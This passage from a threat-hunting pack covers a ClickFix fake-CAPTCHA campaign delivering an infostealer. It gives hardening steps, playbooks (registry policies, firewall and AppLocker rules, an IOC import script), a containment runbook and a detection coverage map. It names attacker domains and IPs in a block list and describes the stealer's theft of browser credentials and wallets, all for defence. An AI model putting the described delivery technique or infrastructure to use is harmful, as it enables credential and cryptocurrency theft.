  • Block programmatic clipboard writes from untrusted web origins via Chrome/Edge enterprise policy (DefaultClipboardSetting / ClipboardAllowedForUrls). This directly breaks the ClickFix delivery mechanism at the one point that is entirely browser-side and otherwise invisible to endpoint telemetry. Authority: MITRE M1038 (Execution Prevention); Chrome Enterprise policy documentation (Google). Verify: Section 10 audit block, Config/Policy Audit.
  • Restrict outbound network access for msiexec.exe via host-based firewall (msiexec.exe legitimately needs internet access only in specific managed-deployment scenarios). Authority: MITRE M1037 (Filter Network Traffic). Verify: Section 10 audit block.
  • Block the confirmed campaign infrastructure (Section 4/10 IOC list) at DNS/proxy/firewall and via Falcon Custom IOC import. Authority: MITRE M1037.
Near term (1-4 weeks)
  • AppLocker/WDAC policy restricting MSI installer sources to signed publishers or an internal software-distribution path, blocking arbitrary remote-MSI execution outright. Authority: MITRE M1038; CIS Microsoft Windows Benchmark, Application Control section. Pilot on a ring before fleet-wide enforcement.
  • Enable and centralize Windows Installer verbose logging (MsiInstaller Event ID 1040/1042) into the SIEM, independent of EDR, so remote-MSI installs are visible even on hosts with reduced sensor coverage. Authority: Microsoft Windows Installer logging documentation.
  • Restrict non-admin scheduled-task creation for logon-trigger tasks via Task Scheduler folder ACLs / GPO, raising the bar for the persistence step. Authority: MITRE M1018 (User Account Management); Microsoft Security Baseline guidance.
  • ClickFix-specific user-awareness training: run a phishing simulation modeling a fake CAPTCHA/verification prompt that asks the user to paste a command into Run. Authority: MITRE M1017 (User Training).
Strategic (1-3 months)
  • Fleet-wide default-deny application control (WDAC) for unsigned executables, closing the arbitrary EXE/MSI/PowerShell execution path the implant's own C2 tasking relies on for follow-on payloads. Authority: MITRE M1038; Microsoft WDAC design guide.
  • Newly-registered-domain (NRD) blocking at the DNS/secure-web-gateway layer. The delivery domain in this campaign was registered and weaponized within days; category/age-based blocking of NRDs closes an entire class of same-pattern campaigns, not just this one. Authority: MITRE M1021 (Restrict Web-Based Content).
  • File-integrity monitoring (FIM) and a Web Application Firewall on any client-facing website your organization or MSP practice hosts, specifically covering the CMS template/iframe injection point this campaign relies on for initial access. This is the only control that addresses the step no endpoint sensor can see. Authority: CIS Benchmark (web server hardening); OWASP guidance. ⚠ best-practice, no single formal benchmark covers third-party CMS iframe-injection monitoring end-to-end — combine FIM + WAF + CMS vendor hardening guidance.
  • Confirm Chrome/Edge App-Bound Encryption is enforced on all managed endpoints, raising the cost of offline decryption of Local State/Login Data even if a stealer reads the raw files. Authority: Chrome Enterprise / Chromium project documentation on App-Bound Encryption.
13

Deployable Playbooks

Playbook 1 — Block programmatic clipboard writes from untrusted origins (Chrome/Edge)

Prerequisites: Chrome/Edge managed via Group Policy ADMX templates or Chrome Browser Cloud Management; identify any internal web apps that legitimately use navigator.clipboard.writeText so they can be allowlisted before enforcement.
Reboot required: No — browser restart only.
Rollback: Remove or set the GPO value back to "Not Configured" and force a policy refresh (gpupdate /force); the browser reverts to its default clipboard-permission prompt behavior.

' GPO path: Computer Configuration > Administrative Templates > Google Chrome > Content Settings
' Or Edge: Computer Configuration > Administrative Templates > Microsoft Edge > Content Settings > Clipboard

' Registry equivalent (deploy via GPO Preference or Intune):
reg add "HKLM\SOFTWARE\Policies\Google\Chrome" /v DefaultClipboardSetting /t REG_DWORD /d 2 /f
reg add "HKLM\SOFTWARE\Policies\Google\Chrome" /v ClipboardAllowedForUrls /t REG_SZ /d "[\"https://*.yourorg.com\"]" /f

' Edge equivalent:
reg add "HKLM\SOFTWARE\Policies\Microsoft\Edge" /v DefaultClipboardSetting /t REG_DWORD /d 2 /f
reg add "HKLM\SOFTWARE\Policies\Microsoft\Edge" /v ClipboardAllowedForUrls /t REG_SZ /d "[\"https://*.yourorg.com\"]" /f

' DefaultClipboardSetting=2 blocks clipboard read/write by default for all sites not on the allow list.

Playbook 2 — Restrict msiexec.exe to internal/signed sources and block its outbound network access

Prerequisites: Inventory legitimate remote-MSI deployment tooling (SCCM, Intune, third-party RMM) and its source IP ranges/hostnames before enabling; test on a pilot ring.
Reboot required: No.
Rollback: Remove-NetFirewallRule -DisplayName "Block-Msiexec-Outbound" and remove/disable the AppLocker MSI rule via gpupdate /force after unlinking the GPO.

# Windows Firewall: block msiexec.exe outbound except to your internal deployment server range
New-NetFirewallRule -DisplayName "Block-Msiexec-Outbound" -Direction Outbound `
  -Program "%SystemRoot%\System32\msiexec.exe" -Action Block -Enabled True
New-NetFirewallRule -DisplayName "Allow-Msiexec-Internal-Deploy" -Direction Outbound `
  -Program "%SystemRoot%\System32\msiexec.exe" -RemoteAddress 10.0.0.0/8 -Action Allow -Enabled True

# AppLocker: restrict Windows Installer rules to a trusted internal path (deploy via GPO)
New-AppLockerPolicy -RuleType Msi -User Everyone -FilePathCondition "%OSDRIVE%\ApprovedInstalls\*" `
  -Generate | Set-AppLockerPolicy -Merge

Playbook 3 — Block confirmed campaign infrastructure and import IOCs into Falcon

Prerequisites: Falcon Insight/XDR API credentials with IOC-management write scope, or console access to IOC Management; DNS RPZ (or equivalent) zone available on your resolver.
Reboot required: No.
Rollback: Delete the imported IOCs from Falcon IOC Management, and remove the RPZ zone entries; both actions take effect immediately with no endpoint-side state to revert.

# Falcon: import Section 10's grab-csv block via IOC Management > Upload / API
# (falconpy example)
from falconpy import IOC
falcon = IOC(client_id="REPLACE_WITH_CLIENT_ID", client_secret="REPLACE_WITH_CLIENT_SECRET")
# NOTE: action=detect matches the Section 4 IOC table and the Section 10 CSV exactly.
# Do NOT raise these to action="prevent" on the strength of this pack alone. All four
# values are single-sourced to the Arctic Wolf report (The Hacker News corroborates the
# victim-site list and the MSI filenames, not the C2 infrastructure), and both IPs sit on
# commodity hosting where addresses get reassigned. Promote to prevent only after (a) a
# second independent source confirms the infrastructure is still attacker-controlled and
# (b) you have confirmed no legitimate destination shares the address in your own egress
# logs. See the promotion row in Section 11.
falcon.indicator_create(body={
  "indicators": [
    {"type": "domain", "value": "uasputnik.com", "action": "detect", "severity": "high",
     "platforms": ["windows"], "source": "Psychedelic Stealer HuntPack"},
    {"type": "domain", "value": "fsputnik.com", "action": "detect", "severity": "high",
     "platforms": ["windows"], "source": "Psychedelic Stealer HuntPack"},
    {"type": "ipv4", "value": "107.175.82.242", "action": "detect", "severity": "high",
     "platforms": ["windows"], "source": "Psychedelic Stealer HuntPack"},
    {"type": "ipv4", "value": "193.178.159.128", "action": "detect", "severity": "high",
     "platforms": ["windows"], "source": "Psychedelic Stealer HuntPack"}
  ]
})

# DNS RPZ zone entry (BIND-style) to null-route the delivery/loader domains
uasputnik.com    CNAME   .
fsputnik.com     CNAME   .
14

Containment Runbook

PhaseActionsOwnerEvidence to Preserve
IsolateNetwork-isolate the affected host via Falcon Host Containment. Preserve current network connections (Q6 results) and scheduled-task state (Q5) before isolation changes them.SOC / IR on-callFalcon detection details, full CommandLine of the msiexec invocation, timestamp of the ClickFix paste (correlate with user interview)
EradicateRemove the psychedelicloveUtils scheduled task; terminate and delete psychedeliclove.exe and any first-stage MSI artifacts; remove host.ps1/host.bat/com.lunex.explorer.json and the native-messaging registration; remove the injected browser extension archive from affected browser profiles.IR / Endpoint EngineeringHashes of all removed files, exported scheduled-task XML, before/after browser-profile extension list
Recover (credentials)Force password rotation for every credential stored in the affected browser profiles; revoke and reissue any account tokens/session cookies; treat any cryptocurrency wallet with a local or extension footprint on the host as compromised and move funds to a new wallet from a known-clean device.IAM / Security EngineeringList of affected accounts, rotation timestamps, wallet-migration confirmation
Recover (endpoint)Reimage the host if full eradication cannot be confirmed (recommended default for infostealer compromises given the C2 tasking capability observed). Reintroduce to the network only after Q1/Q4/Q5/Q6 re-baseline clean for 72 hours.Endpoint EngineeringReimage record, clean-baseline query results
NotifyIf the site the user visited is one your organization or an MSP client owns/hosts, notify the site owner immediately — the compromised site is actively serving the iframe to other visitors.IR Lead / Account ManagementSite URL, screenshot of the injected iframe/fake CAPTCHA if captured, notification timestamp
15

Detection Coverage Map

TechniqueBehaviorCQLIOACoverage
T1189Injected iframe on compromised websiteNone — browser-renderedNoneGAP
T1204.004Clipboard poisoning via browser JSNone — browser Clipboard API writeNoneGAP (compensating control: Playbook 1)
T1204.004 / T1218.007Run-dialog-parented msiexec.exe executionQ1, Q2, Q3DETECT/PREVENT candidateGood
T1105Next-stage payload retrievalQ6—Good
T1105 / T1204.004Stealer payload executionQ4DETECT/PREVENT candidateGood
T1053.005Scheduled-task persistenceQ5DETECT candidateGood
T1176 / T1036Browser component / native-messaging bridge installQ8NonePartial — file-write telemetry unconfirmed for non-PE writes
T1555.003 / T1539 / T1552.001 / T1005Credential, token, and wallet theftQ9NonePartial — requires FileOpenInfo/FileReadInfo, tenant-dependent
T1071.001C2 check-in, heartbeat, tasking, exfilQ6—Good
—Lure-panel interaction (Rublevka TDS)None — visible only to the attacker's own panelNoneGAP (not a defender-observable surface)

Validation gates for every query above are tracked in Section 11; two techniques above are genuine, honestly-flagged sensor gaps (browser-side delivery) rather than missed detections, and are addressed only through the compensating controls in Section 12/13.

16

Hunt Summary Ticket

TITLE: Hunt for Psychedelic Stealer / ClickFix Fake-Cloudflare Campaign
SEVERITY: High (active campaign; credential + cryptocurrency wallet theft)
SCOPE: All Windows endpoints with Falcon sensor coverage; priority to hosts with recent
       browser activity to Ukrainian or Eastern-European business/e-commerce sites
HYPOTHESIS: A user was shown a fake Cloudflare verification page on a compromised
       legitimate website, pasted a clipboard-supplied msiexec command into the
       Windows Run dialog, and installed the Psychedelic Stealer infostealer.
QUERIES: Q1-Q9 (Section 8) -- Q1 (Run-dialog msiexec) and Q4 (payload execution)
       are the primary signals; Q5/Q6 confirm persistence and C2.
DO FIRST: Run Q1 and Q4 fleet-wide over a 30-day window; triage any hit per the
       checklist in Section 9 before wider rollout of Q2/Q3/Q7/Q8/Q9.
FINDINGS: [populate after first run -- no environment-specific hits confirmed as
       of pack publication; this is proactive coverage, not an active incident]
GAPS: Browser-side iframe injection and clipboard poisoning are not visible to the
       Falcon sensor (Section 15). File-read telemetry for Q9 and non-PE file-write
       telemetry for Q8 require tenant validation.
ACTIONS: Deploy Playbook 1 (clipboard policy) as the highest-leverage compensating
       control for the sensor-blind delivery step; enable Q1/Q4 as Scheduled
       Searches; import Section 10 IOC CSV into Falcon IOC Management.
OWNER: Threat Hunting / SOC
VERSION: v0.1 (2026-09-25)
17

Changelog

v0.12026-09-25Initial release. Built from Arctic Wolf Labs' primary technical report (2026-09-24) and The Hacker News corroborating coverage. 9 CQL hunt queries covering the full observable chain (Run-dialog msiexec delivery, payload execution, scheduled-task persistence, C2 network, credential/wallet file access); 3 IOA candidates; tiered hardening across Windows endpoint, Chromium browser, and DNS/network egress surfaces; 3 deployable playbooks; phased containment runbook. Browser-side delivery (iframe injection, clipboard poisoning) and lure-panel interaction are explicitly flagged as sensor-blind gaps rather than papered over.
18

References

TierSourceUsed ForAccess Date
PrimaryArctic Wolf Labs — "The Psychedelic Stealer: When a CAPTCHA Becomes an Installer"Full attack chain, malware analysis, C2 protocol, IOC inventory, WHOIS timeline, hunting leads2026-09-25
CorroboratingThe Hacker News — "Hacked Ukrainian Sites Serve Fake Cloudflare ClickFix Lures for Psychedelic Stealer" (2026-09-24)Corroboration; full 7-name first-stage MSI filename set2026-09-25
Corroborating (partial)Techzine Global — "Arctic Wolf: Psychedelic stealer exploits CAPTCHA as an installer"Secondary corroboration only; direct fetch blocked (HTTP 403), captured via tool-mediated extraction, never used as sole source for an IOC2026-09-25
FrameworkMITRE ATT&CK T1204.004 — User Execution: Malicious Copy and PasteClickFix technique classification (Section 6)2026-09-25
FrameworkMITRE ATT&CK T1218.007 — System Binary Proxy Execution: Msiexecmsiexec abuse classification (Section 6)2026-09-25

Note: coverage from dev.ua was searched for but could not be fetched (HTTP 403 on every direct attempt, no archived snapshot available) and is not cited anywhere in this pack. See Section 2 for the full source-access log.